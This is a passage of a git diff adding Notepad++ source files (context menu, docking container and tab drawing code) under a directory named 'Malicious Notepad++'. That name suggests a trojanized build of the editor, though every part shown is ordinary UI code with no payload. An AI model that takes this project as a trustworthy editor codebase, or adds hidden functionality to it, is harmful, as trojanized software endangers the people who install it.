MF_POPUP, (UINT_PTR)hParentFolder, currentParentFolderStr.c_str()); + } + } + + unsigned int flag = MF_BYPOSITION | ((item._cmdID == 0)?MF_SEPARATOR:0); + if (hParentFolder) + { + ::InsertMenu(hParentFolder, j++, flag, item._cmdID, item._itemName.c_str()); + lastIsSep = false; + } + else if ((i == 0 || i == menuItemArray.size() - 1) && item._cmdID == 0) + { + lastIsSep = true; + } + else if (item._cmdID != 0) + { + ::InsertMenu(_hMenu, static_cast(i), flag, item._cmdID, item._itemName.c_str()); + lastIsSep = false; + } + else if (item._cmdID == 0 && !lastIsSep) + { + ::InsertMenu(_hMenu, static_cast(i), flag, item._cmdID, item._itemName.c_str()); + lastIsSep = true; + } + else // last item is separator and current item is separator + { + lastIsSep = true; + } + + + if (mainMenuHandle) + { + bool isEnabled = (::GetMenuState(mainMenuHandle, item._cmdID, MF_BYCOMMAND)&(MF_DISABLED|MF_GRAYED)) == 0; + bool isChecked = (::GetMenuState(mainMenuHandle, item._cmdID, MF_BYCOMMAND)&(MF_CHECKED)) != 0; + if (!isEnabled) + enableItem(item._cmdID, isEnabled); + if (isChecked) + checkItem(item._cmdID, isChecked); + } + + } +} + \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.h b/Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.h new file mode 100644 index 0000000..ce8c72b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.h @@ -0,0 +1,78 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include "Common.h" + + + +struct MenuItemUnit final +{ + unsigned long _cmdID = 0; + generic_string _itemName; + generic_string _parentFolderName; + + MenuItemUnit() = default; + MenuItemUnit(unsigned long cmdID, generic_string itemName, generic_string parentFolderName = generic_string()) + : _cmdID(cmdID), _itemName(itemName), _parentFolderName(parentFolderName){}; + MenuItemUnit(unsigned long cmdID, const TCHAR *itemName, const TCHAR *parentFolderName = nullptr); +}; + + +class ContextMenu final +{ +public: + ~ContextMenu(); + + void create(HWND hParent, const std::vector & menuItemArray, const HMENU mainMenuHandle = NULL); + bool isCreated() const {return _hMenu != NULL;} + + void display(const POINT & p) const { + ::TrackPopupMenu(_hMenu, TPM_LEFTALIGN, p.x, p.y, 0, _hParent, NULL); + } + + void enableItem(int cmdID, bool doEnable) const + { + int flag = doEnable ? (MF_ENABLED | MF_BYCOMMAND) : (MF_DISABLED | MF_GRAYED | MF_BYCOMMAND); + ::EnableMenuItem(_hMenu, cmdID, flag); + } + + void checkItem(int cmdID, bool doCheck) const + { + ::CheckMenuItem(_hMenu, cmdID, MF_BYCOMMAND | (doCheck ? MF_CHECKED : MF_UNCHECKED)); + } + + HMENU getMenuHandle() const + { + return _hMenu; + } + +private: + HWND _hParent = NULL; + HMENU _hMenu = NULL; + std::vector _subMenus; + +}; diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/CloseDown.bmp b/Malicious Notepad++/src/WinControls/DockingWnd/CloseDown.bmp new file mode 100644 index 0000000000000000000000000000000000000000..da11fcd44bc06dc40e452229c49f2293e6ef18d8 GIT binary patch literal 486 zcmZ?rea6TD24+A~1BiK`n2|vOEWQCKFT@SOU;!ZUp9qkWUwGr?8$1YT22jn+6>ErB z15^(;7S6^r2O +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// // Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include + +// ATTENTION : It's a part of interface header, so don't include the others header here + +// styles for containers +#define CAPTION_TOP TRUE +#define CAPTION_BOTTOM FALSE + +// defines for docking manager +#define CONT_LEFT 0 +#define CONT_RIGHT 1 +#define CONT_TOP 2 +#define CONT_BOTTOM 3 +#define DOCKCONT_MAX 4 + +// mask params for plugins of internal dialogs +#define DWS_ICONTAB 0x00000001 // Icon for tabs are available +#define DWS_ICONBAR 0x00000002 // Icon for icon bar are available (currently not supported) +#define DWS_ADDINFO 0x00000004 // Additional information are in use +#define DWS_PARAMSALL (DWS_ICONTAB|DWS_ICONBAR|DWS_ADDINFO) + +// default docking values for first call of plugin +#define DWS_DF_CONT_LEFT (CONT_LEFT << 28) // default docking on left +#define DWS_DF_CONT_RIGHT (CONT_RIGHT << 28) // default docking on right +#define DWS_DF_CONT_TOP (CONT_TOP << 28) // default docking on top +#define DWS_DF_CONT_BOTTOM (CONT_BOTTOM << 28) // default docking on bottom +#define DWS_DF_FLOATING 0x80000000 // default state is floating + + +typedef struct { + HWND hClient; // client Window Handle + const TCHAR *pszName; // name of plugin (shown in window) + int dlgID; // a funcItem provides the function pointer to start a dialog. Please parse here these ID + + // user modifications + UINT uMask; // mask params: look to above defines + HICON hIconTab; // icon for tabs + const TCHAR *pszAddInfo; // for plugin to display additional informations + + // internal data, do not use !!! + RECT rcFloat; // floating position + int iPrevCont; // stores the privious container (toggling between float and dock) + const TCHAR* pszModuleName; // it's the plugin file name. It's used to identify the plugin +} tTbData; + + +typedef struct { + HWND hWnd; // the docking manager wnd + RECT rcRegion[DOCKCONT_MAX]; // position of docked dialogs +} tDockMgr; + + +#define HIT_TEST_THICKNESS 20 +#define SPLITTER_WIDTH 4 + diff --git a/Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.cpp b/Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.cpp new file mode 100644 index 0000000..c45fdb3 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/DockingWnd/DockingCont.cpp @@ -0,0 +1,1463 @@ +//this file is part of docking functionality for Notepad++ +//Copyright (C)2006 Jens Lorenz +// +//This program is free software; you can redistribute it and/or +//modify it under the terms of the GNU General Public License +//as published by the Free Software Foundation; either +//version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +//This program is distributed in the hope that it will be useful, +//but WITHOUT ANY WARRANTY; without even the implied warranty of +//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +//GNU General Public License for more details. +// +//You should have received a copy of the GNU General Public License +//along with this program; if not, write to the Free Software +//Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "dockingResource.h" +#include "DockingCont.h" + +#include "SplitterContainer.h" +#include "ToolTip.h" +#include "Parameters.h" + +using namespace std; + +#ifndef WH_MOUSE_LL +#define WH_MOUSE_LL 14 +#endif + +static HWND hWndServer = NULL; +static HHOOK hookMouse = NULL; + +static LRESULT CALLBACK hookProcMouse(int nCode, WPARAM wParam, LPARAM lParam) +{ + if (nCode >= 0) + { + switch (wParam) + { + case WM_MOUSEMOVE: + case WM_NCMOUSEMOVE: + ::PostMessage(hWndServer, UINT(wParam), 0, 0); + break; + + case WM_LBUTTONUP: + case WM_NCLBUTTONUP: + ::PostMessage(hWndServer, UINT(wParam), 0, 0); + break; + + default: + break; + } + } + + return ::CallNextHookEx(hookMouse, nCode, wParam, lParam); +} + + +DockingCont::DockingCont() +{ + _isMouseOver = FALSE; + _isMouseClose = FALSE; + _isMouseDown = FALSE; + _isFloating = false; + _isTopCaption = CAPTION_TOP; + _dragFromTab = FALSE; + _hContTab = NULL; + _hDefaultTabProc = NULL; + _beginDrag = FALSE; + _prevItem = 0; + _hFont = NULL; + _bTabTTHover = FALSE; + _bCaptionTT = FALSE; + _bCapTTHover = FALSE; + _hoverMPos = posClose; + _bDrawOgLine = TRUE; + _vTbData.clear(); + + _captionHeightDynamic = NppParameters::getInstance()->_dpiManager.scaleY(_captionHeightDynamic); + _captionGapDynamic = NppParameters::getInstance()->_dpiManager.scaleY(_captionGapDynamic); + _closeButtonPosLeftDynamic = NppParameters::getInstance()->_dpiManager.scaleX(_closeButtonPosLeftDynamic); + _closeButtonPosTopDynamic = NppParameters::getInstance()->_dpiManager.scaleY(_closeButtonPosTopDynamic); + + _closeButtonWidth = NppParameters::getInstance()->_dpiManager.scaleX(12); // bitmap image is 12x12 + _closeButtonHeight = NppParameters::getInstance()->_dpiManager.scaleY(12); +} + +DockingCont::~DockingCont() +{ + ::DeleteObject(_hFont); +} + + +void DockingCont::doDialog(bool willBeShown, bool isFloating) +{ + if (!isCreated()) + { + create(IDD_CONTAINER_DLG); + + _isFloating = isFloating; + + if (_isFloating) + { + ::SetWindowLongPtr(_hSelf, GWL_STYLE, POPUP_STYLES); + ::SetWindowLongPtr(_hSelf, GWL_EXSTYLE, POPUP_EXSTYLES); + ::ShowWindow(_hCaption, SW_HIDE); + } + else + { + ::SetWindowLongPtr(_hSelf, GWL_STYLE, CHILD_STYLES); + ::SetWindowLongPtr(_hSelf, GWL_EXSTYLE, CHILD_EXSTYLES); + ::ShowWindow(_hCaption, SW_SHOW); + } + + //If you want defualt GUI font + _hFont = (HFONT)GetStockObject(DEFAULT_GUI_FONT); + } + + display(willBeShown); +} + + +tTbData* DockingCont::createToolbar(tTbData data) +{ + tTbData *pTbData = new tTbData; + + *pTbData = data; + + // force window style of client window + ::SetWindowLongPtr(pTbData->hClient, GWL_STYLE, CHILD_STYLES); + ::SetWindowLongPtr(pTbData->hClient, GWL_EXSTYLE, CHILD_EXSTYLES); + + // restore position if plugin is in floating state + if ((_isFloating) && (::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0) == 0)) + { + reSizeToWH(pTbData->rcFloat); + } + + // set attached child window + ::SetParent(pTbData->hClient, ::GetDlgItem(_hSelf, IDC_CLIENT_TAB)); + + // set names for captions and view toolbar + viewToolbar(pTbData); + + // attach to list + _vTbData.push_back(pTbData); + + return pTbData; +} + + +void DockingCont::removeToolbar(tTbData TbData) +{ + // remove from list + // items in _vTbData are removed in the loop so _vTbData.size() should be checked in every iteration + for (size_t iTb = 0 ; iTb < _vTbData.size(); ++iTb) + { + if (_vTbData[iTb]->hClient == TbData.hClient) + { + // remove tab + removeTab(_vTbData[iTb]); + + // free resources + delete _vTbData[iTb]; + vector::iterator itr = _vTbData.begin() + iTb; + _vTbData.erase(itr); + } + } +} + + +tTbData* DockingCont::findToolbarByWnd(HWND hClient) +{ + tTbData* pTbData = NULL; + + // find entry by handle + for (size_t iTb = 0, len = _vTbData.size(); iTb < len; ++iTb) + { + if (hClient == _vTbData[iTb]->hClient) + { + pTbData = _vTbData[iTb]; + } + } + return pTbData; +} + +tTbData* DockingCont::findToolbarByName(TCHAR* pszName) +{ + tTbData* pTbData = NULL; + + // find entry by handle + for (size_t iTb = 0, len = _vTbData.size(); iTb < len; ++iTb) + { + if (lstrcmp(pszName, _vTbData[iTb]->pszName) == 0) + { + pTbData = _vTbData[iTb]; + } + } + return pTbData; +} + +void DockingCont::setActiveTb(tTbData* pTbData) +{ + int iItem = searchPosInTab(pTbData); + setActiveTb(iItem); +} + +void DockingCont::setActiveTb(int iItem) +{ + if (iItem < ::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)) + { + selectTab(iItem); + } +} + +int DockingCont::getActiveTb() +{ + return static_cast(::SendMessage(_hContTab, TCM_GETCURSEL, 0, 0)); +} + +tTbData* DockingCont::getDataOfActiveTb() +{ + tTbData* pTbData = NULL; + int iItem = getActiveTb(); + + if (iItem != -1) + { + TCITEM tcItem = {0}; + + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + pTbData = (tTbData*)tcItem.lParam; + } + + return pTbData; +} + +vector DockingCont::getDataOfVisTb() +{ + vector vTbData; + TCITEM tcItem = {0}; + int iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + tcItem.mask = TCIF_PARAM; + + for(int iItem = 0; iItem < iItemCnt; ++iItem) + { + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + vTbData.push_back((tTbData*)tcItem.lParam); + } + return vTbData; +} + +bool DockingCont::isTbVis(tTbData* data) +{ + TCITEM tcItem = {0}; + int iItemCnt = static_cast(::SendMessage(_hContTab, TCM_GETITEMCOUNT, 0, 0)); + + tcItem.mask = TCIF_PARAM; + + for(int iItem = 0; iItem < iItemCnt; ++iItem) + { + ::SendMessage(_hContTab, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + return false; + if (((tTbData*)tcItem.lParam) == data) + return true; + } + return false; +} + + +// +// Process function of caption bar +// +LRESULT DockingCont::runProcCaption(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + static ToolTip toolTip; + + switch (Message) + { + case WM_LBUTTONDOWN: + { + _isMouseDown = TRUE; + + if (isInRect(hwnd, LOWORD(lParam), HIWORD(lParam)) == posClose) + { + _isMouseClose = TRUE; + _isMouseOver = TRUE; + + // start hooking + hWndServer = _hCaption; + hookMouse = ::SetWindowsHookEx(WH_MOUSE_LL, hookProcMouse, _hInst, 0); + + if (!hookMouse) + { + DWORD dwError = ::GetLastError(); + TCHAR str[128]; + ::wsprintf(str, TEXT("GetLastError() returned %lu"), dwError); + ::MessageBox(NULL, str, TEXT("SetWindowsHookEx(MOUSE) failed on runProcCaption"), MB_OK | MB_ICONERROR); + } + ::RedrawWindow(hwnd, NULL, NULL, TRUE); + } + + focusClient(); + return TRUE; + } + case WM_LBUTTONUP: + { + _isMouseDown = FALSE; + if (_isMouseClose == TRUE) + { + // end hooking + ::UnhookWindowsHookEx(hookMouse); + + if (_isMouseOver == TRUE) + { + doClose(); + } + _isMouseClose = FALSE; + _isMouseOver = FALSE; + } + + focusClient(); + return TRUE; + } + case WM_LBUTTONDBLCLK: + { + if (isInRect(hwnd, LOWORD(lParam), HIWORD(lParam)) == posCaption) + ::SendMessage(_hParent, DMM_FLOATALL, 0, reinterpret_cast(this)); + + focusClient(); + return TRUE; + } + case WM_MOUSEMOVE: + { + POINT pt = {0}; + + // get correct cursor position + ::GetCursorPos(&pt); + ::ScreenToClient(_hCaption, &pt); + + if (_isMouseDown == TRUE) + { + if (_isMouseClose == FALSE) + { + // keep sure that button is still down and within caption + if ((wParam == MK_LBUTTON) && (isInRect(hwnd, pt.x, pt.y) == posCaption)) + { + _dragFromTab = FALSE; + NotifyParent(DMM_MOVE); + _isMouseDown = FALSE; + } + else + { + _isMouseDown = FALSE; + } + } + else + { + BOOL isMouseOver = _isMouseOver; + _isMouseOver = (isInRect(hwnd, pt.x, pt.y) == posClose ? TRUE : FALSE); + + // if state is changed draw new + if (_isMouseOver != isMouseOver) + { + ::SetFocus(NULL); + ::RedrawWindow(hwnd, NULL, NULL, TRUE); + } + } + } + else if (_bCapTTHover == FALSE) + { + _hoverMPos = isInRect(hwnd, LOWORD(lParam), HIWORD(lParam)); + + if ((_bCaptionTT == TRUE) || (_hoverMPos == posClose)) + { + TRACKMOUSEEVENT tme; + tme.cbSize = sizeof(tme); + tme.hwndTrack = hwnd; + tme.dwFlags = TME_LEAVE | TME_HOVER; + tme.dwHoverTime = 1000; + _bCapTTHover = _TrackMouseEvent(&tme); + } + } + else if ((_bCapTTHover == TRUE) && + (_hoverMPos != isInRect(hwnd, LOWORD(lParam), HIWORD(lParam)))) + { + toolTip.destroy(); + _bCapTTHover = FALSE; + } + return TRUE; + } + case WM_MOUSEHOVER: + { + RECT rc = {0}; + POINT pt = {0}; + + + // get mouse position + ::GetCursorPos(&pt); + + toolTip.init(_hInst, hwnd); + if (_hoverMPos == posCaption) + { + toolTip.Show(rc, _pszCaption.c_str(), pt.x, pt.y + 20); + } + else + { + toolTip.Show(rc, TEXT("Close"), pt.x, pt.y + 20); + } + return TRUE; + } + case WM_MOUSELEAVE: + { + toolTip.destroy(); + _bCapTTHover = FALSE; + return TRUE; + } + case WM_SIZE: + { + ::GetWindowRect(hwnd, &_rcCaption); + ScreenRectToClientRect(hwnd, &_rcCaption); + break; + } + case WM_SETTEXT: + { + ::RedrawWindow(hwnd, NULL, NULL, TRUE); + return TRUE; + } + default: + break; + } + + return ::CallWindowProc(_hDefaultCaptionProc, hwnd, Message, wParam, lParam); +} + +void DockingCont::drawCaptionItem(DRAWITEMSTRUCT *pDrawItemStruct) +{ + HBRUSH bgbrush = NULL; + HFONT hOldFont = NULL; + RECT rc = pDrawItemStruct->rcItem; + HDC hDc = pDrawItemStruct->hDC; + HPEN hPen = ::CreatePen(PS_SOLID, 1, ::GetSysColor(COLOR_BTNSHADOW)); + BITMAP bmp = {0}; + HBITMAP hBmpCur = NULL; + HBITMAP hBmpOld = NULL; + HBITMAP hBmpNew = NULL; + int length = static_cast(_pszCaption.length()); + + int nSavedDC = ::SaveDC(hDc); + + // begin with paint + ::SetBkMode(hDc, TRANSPARENT); + + if (_isActive == TRUE) { + bgbrush = ::CreateSolidBrush(::GetSysColor(COLOR_ACTIVECAPTION)); + ::SetTextColor(hDc, ::GetSysColor(COLOR_CAPTIONTEXT)); + } else { + bgbrush = ::CreateSolidBrush(::GetSysColor(COLOR_BTNFACE)); + } + + // set text and/or caption grid + if (_isTopCaption == TRUE) + { + if (_isActive == TRUE) + { + // fill background + ::FillRect(hDc, &rc, bgbrush); + rc.right -= 1; + rc.bottom -= 1; + } + else + { + // fill background + rc.right -= 1; + rc.bottom -= 1; + ::FillRect(hDc, &rc, bgbrush); + + // draw grid lines + + MoveToEx(hDc, rc.left , rc.top , NULL); + LineTo (hDc, rc.right, rc.top ); + LineTo (hDc, rc.right, rc.bottom ); + LineTo (hDc, rc.left , rc.bottom ); + LineTo (hDc, rc.left , rc.top); + } + + // draw text + rc.left += 2; + rc.top += 1; + rc.right -= 16; + hOldFont = (HFONT)::SelectObject(hDc, _hFont); + ::DrawText(hDc, _pszCaption.c_str(), length, &rc, DT_LEFT | DT_SINGLELINE | DT_VCENTER | DT_END_ELLIPSIS | DT_NOPREFIX); + + // calculate text size and if its trankated... + SIZE size = {0}; + GetTextExtentPoint32(hDc, _pszCaption.c_str(), length, &size); + _bCaptionTT = (((rc.right - rc.left) < size.cx) ? TRUE : FALSE); + + ::SelectObject(hDc, hOldFont); + } + else + { + // create local font for vertical draw + HFONT hFont; + + if (_isActive == TRUE) + { + // fill background + ::FillRect(hDc, &rc, bgbrush); + rc.right -= 1; + rc.bottom -= 1; + } + else + { + // fill background + rc.right -= 1; + rc.bottom -= 1; + ::FillRect(hDc, &rc, bgbrush); + + // draw grid lines + MoveToEx(hDc, rc.left , rc.top , NULL); + LineTo (hDc, rc.right, rc.top ); + LineTo (hDc, rc.right, rc.bottom ); + LineTo (hDc, rc.left , rc.bottom ); + LineTo (hDc, rc.left , rc.top); + } + + // draw text + rc.left += 1; + rc.top += _captionHeightDynamic; + // to make ellipsis working + rc.right = rc.bottom - rc.top; + rc.bottom += 14; + + hFont = ::CreateFont(12, 0, 90 * 10, 0, + FW_NORMAL, FALSE, FALSE, FALSE, + ANSI_CHARSET, OUT_DEFAULT_PRECIS, + CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, + DEFAULT_PITCH | FF_ROMAN, + TEXT("MS Shell Dlg")); + + hOldFont = (HFONT)::SelectObject(hDc, hFont); + ::DrawText(hDc, _pszCaption.c_str(), length, &rc, DT_BOTTOM | DT_SINGLELINE | DT_END_ELLIPSIS | DT_NOPREFIX); + + // calculate text size and if its trankated... + SIZE size = {0}; + GetTextExtentPoint32(hDc, _pszCaption.c_str(), length, &size); + _bCaptionTT = (((rc.bottom - rc.top) < size.cy) ? TRUE : FALSE); + + ::SelectObject(hDc, hOldFont); + ::DeleteObject(hFont); + } + ::DeleteObject(hPen); + ::DeleteObject(bgbrush); + + // draw button + HDC dcMem = ::CreateCompatibleDC(NULL); + + // select correct bitmap + if ((_isMouseOver == TRUE) && (_isMouseDown == TRUE)) + hBmpCur = (HBITMAP)::LoadImage(_hInst, MAKEINTRESOURCE(IDB_CLOSE_DOWN), IMAGE_BITMAP, _closeButtonWidth, _closeButtonHeight, 0); + else + hBmpCur = (HBITMAP)::LoadImage(_hInst, MAKEINTRESOURCE(IDB_CLOSE_UP), IMAGE_BITMAP, _closeButtonWidth, _closeButtonHeight, 0); + + // blit bitmap into the destination + ::GetObject(hBmpCur, sizeof(bmp), &bmp); + hBmpOld = (HBITMAP)::SelectObject(dcMem, hBmpCur); + hBmpNew = ::CreateCompatibleBitmap(dcMem, bmp.bmWidth, bmp.bmHeight); + + rc = pDrawItemStruct->rcItem; + ::SelectObject(hDc, hBmpNew); + + if (_isTopCaption == TRUE) + ::BitBlt(hDc, rc.right - bmp.bmWidth - _closeButtonPosLeftDynamic, _closeButtonPosTopDynamic, bmp.bmWidth, bmp.bmHeight, dcMem, 0, 0, SRCCOPY); + else + ::BitBlt(hDc, _closeButtonPosLeftDynamic, _closeButtonPosLeftDynamic, bmp.bmWidth, bmp.bmHeight, dcMem, 0, 0, SRCCOPY); + + ::SelectObject(dcMem, hBmpOld); + ::DeleteObject(hBmpCur); + ::DeleteObject(hBmpNew); + ::DeleteDC(dcMem); + + ::RestoreDC(hDc, nSavedDC); +} + +eMousePos DockingCont::isInRect(HWND hwnd, int x, int y) +{ + RECT rc; + eMousePos ret = posOutside; + + ::GetWindowRect(hwnd, &rc); + ScreenRectToClientRect(hwnd, &rc); + + if (_isTopCaption == TRUE) + { + if ((x > rc.left) && (x < rc.right - _captionHeightDynamic) && (y > rc.top) && (y < rc.bottom)) + { + ret = posCaption; + } + else if ((x > rc.right - (_closeButtonWidth + _closeButtonPosLeftDynamic)) && (x < (rc.right - _closeButtonPosLeftDynamic)) && + (y >(rc.top + _closeButtonPosTopDynamic)) && (y < (rc.bottom - _closeButtonPosTopDynamic))) + { + ret = posClose; + } + } + else + { + if ((x > rc.left) && (x < rc.right) && (y > rc.top + _captionHeightDynamic) && (y < rc.bottom)) + { + ret = posCaption; + } + else if ((x > rc.left + _closeButtonPosLeftDynamic) && (x < rc.right - _closeButtonPosLeftDynamic) && + (y >(rc.top + _closeButtonPosTopDynamic)) && (y < (rc.top + (_closeButtonHeight + _closeButtonPosLeftDynamic)))) + { + ret = posClose; + } + } + + return ret; +} + + +//---------------------------------------------------------- +// Process function of tab +// +LRESULT DockingCont::runProcTab(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + static ToolTip toolTip; + + switch (Message) + { + case WM_LBUTTONDOWN: + { + _beginDrag = TRUE; + return TRUE; + } + case WM_LBUTTONUP: + { + int iItem = 0; + TCHITTESTINFO info = {0}; + + // get selected sub item + info.pt.x = LOWORD(lParam); + info.pt.y = HIWORD(lParam); + iItem = static_cast(::SendMessage(hwnd, TCM_HITTEST, 0, reinterpret_cast(&info))); + + selectTab(iItem); + _beginDrag = FALSE; + return TRUE; + } + case WM_LBUTTONDBLCLK: + { + NotifyParent((_isFloating == true)?DMM_DOCK:DMM_FLOAT); + return TRUE; + } + case WM_MBUTTONUP: + { + int iItem = 0; + TCITEM tcItem = {0}; + TCHITTESTINFO info = {0}; + + // get selected sub item + info.pt.x = LOWORD(lParam); + info.pt.y = HIWORD(lParam); + iItem = static_cast(::SendMessage(hwnd, TCM_HITTEST, 0, reinterpret_cast(&info))); + + selectTab(iItem); + + // get data and hide toolbar + tcItem.mask = TCIF_PARAM; + ::SendMessage(hwnd, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + + if (!tcItem.lParam) + return FALSE; + + // notify child windows + if (NotifyParent(DMM_CLOSE) == 0) + { + hideToolbar((tTbData*)tcItem.lParam); + } + return TRUE; + } + + case WM_MOUSEMOVE: + { + int iItem = 0; + TCHITTESTINFO info = {0}; + + // get selected sub item + info.pt.x = LOWORD(lParam); + info.pt.y = HIWORD(lParam); + iItem = static_cast(::SendMessage(hwnd, TCM_HITTEST, 0, reinterpret_cast(&info))); + + if ((_beginDrag == TRUE) && (wParam == MK_LBUTTON)) + { + selectTab(iItem); + + // send moving message to parent window + _dragFromTab = TRUE; + NotifyParent(DMM_MOVE); + _beginDrag = FALSE; + } + else + { + int iItemSel = static_cast(::SendMessage(hwnd, TCM_GETCURSEL, 0, 0)); + + if ((_bTabTTHover == FALSE) && (iItem != iItemSel)) + { + TRACKMOUSEEVENT tme; + tme.cbSize = sizeof(tme); + tme.hwndTrack = hwnd; + tme.dwFlags = TME_LEAVE | TME_HOVER; + tme.dwHoverTime = 1000; + _bTabTTHover = _TrackMouseEvent(&tme); + } + else + { + if (iItem == iItemSel) + { + toolTip.destroy(); + _bTabTTHover = FALSE; + } + else if (iItem != _iLastHovered) + { + TCITEM tcItem = {0}; + RECT rc = {0}; + + // destroy old tooltip + toolTip.destroy(); + + // recalc mouse position + ::ClientToScreen(hwnd, &info.pt); + + // get text of toolbar + tcItem.mask = TCIF_PARAM; + ::SendMessage(hwnd, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + return FALSE; + + toolTip.init(_hInst, hwnd); + toolTip.Show(rc, (reinterpret_cast(tcItem.lParam))->pszName, info.pt.x, info.pt.y + 20); + } + } + + // save last hovered item + _iLastHovered = iItem; + + _beginDrag = FALSE; + } + return TRUE; + } + + case WM_MOUSEHOVER: + { + int iItem = 0; + TCITEM tcItem = {0}; + RECT rc = {0}; + TCHITTESTINFO info = {0}; + + // get selected sub item + info.pt.x = LOWORD(lParam); + info.pt.y = HIWORD(lParam); + iItem = static_cast(::SendMessage(hwnd, TCM_HITTEST, 0, reinterpret_cast(&info))); + + // recalc mouse position + ::ClientToScreen(hwnd, &info.pt); + + // get text of toolbar + tcItem.mask = TCIF_PARAM; + ::SendMessage(hwnd, TCM_GETITEM, iItem, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + return FALSE; + + toolTip.init(_hInst, hwnd); + toolTip.Show(rc, ((tTbData*)tcItem.lParam)->pszName, info.pt.x, info.pt.y + 20); + return TRUE; + } + + case WM_MOUSELEAVE: + { + toolTip.destroy(); + _bTabTTHover = FALSE; + return TRUE; + } + + case WM_NOTIFY: + { + LPNMHDR lpnmhdr = (LPNMHDR)lParam; + + if ((lpnmhdr->hwndFrom == _hContTab) && (lpnmhdr->code == TCN_GETOBJECT)) + { + int iItem = 0; + TCHITTESTINFO info = {0}; + + // get selected sub item + info.pt.x = LOWORD(lParam); + info.pt.y = HIWORD(lParam); + iItem = static_cast(::SendMessage(hwnd, TCM_HITTEST, 0, reinterpret_cast(&info))); + + selectTab(iItem); + } + break; + } + default: + break; + } + + return ::CallWindowProc(_hDefaultTabProc, hwnd, Message, wParam, lParam); +} + +void DockingCont::drawTabItem(DRAWITEMSTRUCT *pDrawItemStruct) +{ + TCITEM tcItem = {0}; + RECT rc = pDrawItemStruct->rcItem; + + int nTab = pDrawItemStruct->itemID; + bool isSelected = (nTab == getActiveTb()); + + // get current selected item + tcItem.mask = TCIF_PARAM; + ::SendMessage(_hContTab, TCM_GETITEM, nTab, reinterpret_cast(&tcItem)); + if (!tcItem.lParam) + return; + + const TCHAR *text = reinterpret_cast(tcItem.lParam)->pszName; + int length = lstrlen(reinterpret_cast(tcItem.lParam)->pszName); + + + // get drawing context + HDC hDc = pDrawItemStruct->hDC; + + int nSavedDC = ::SaveDC(hDc); + + // For some bizarre reason the rcItem you get extends above the actual + // drawing area. We have to workaround this "feature". + rc.top += ::GetSystemMetrics(SM_CYEDGE); + + ::SetBkMode(hDc, TRANSPARENT); + HBRUSH hBrush = ::CreateSolidBrush(::GetSysColor(COLOR_BTNFACE)); + ::FillRect(hDc, &rc, hBrush); + ::DeleteObject((HGDIOBJ)hBrush); + + // draw orange bar + if (_bDrawOgLine && isSelected) + { + RECT barRect = rc; + barRect.top += rc.bottom - 4; + + hBrush = ::CreateSolidBrush(RGB(250, 170, 60)); + ::FillRect(hDc, &barRect, hBrush); + ::DeleteObject((HGDIOBJ)hBrush); + + } + + // draw icon if enabled + if (((tTbData*)tcItem.lParam)->uMask & DWS_ICONTAB) + { + HIMAGELIST hImageList = (HIMAGELIST)::SendMessage(_hParent, DMM_GETIMAGELIST, 0, 0); + int iPosImage = static_cast(::SendMessage(_hParent, DMM_GETICONPOS, 0, reinterpret_cast(reinterpret_cast(tcItem.lParam)->hClient))); + + if ((hImageList != 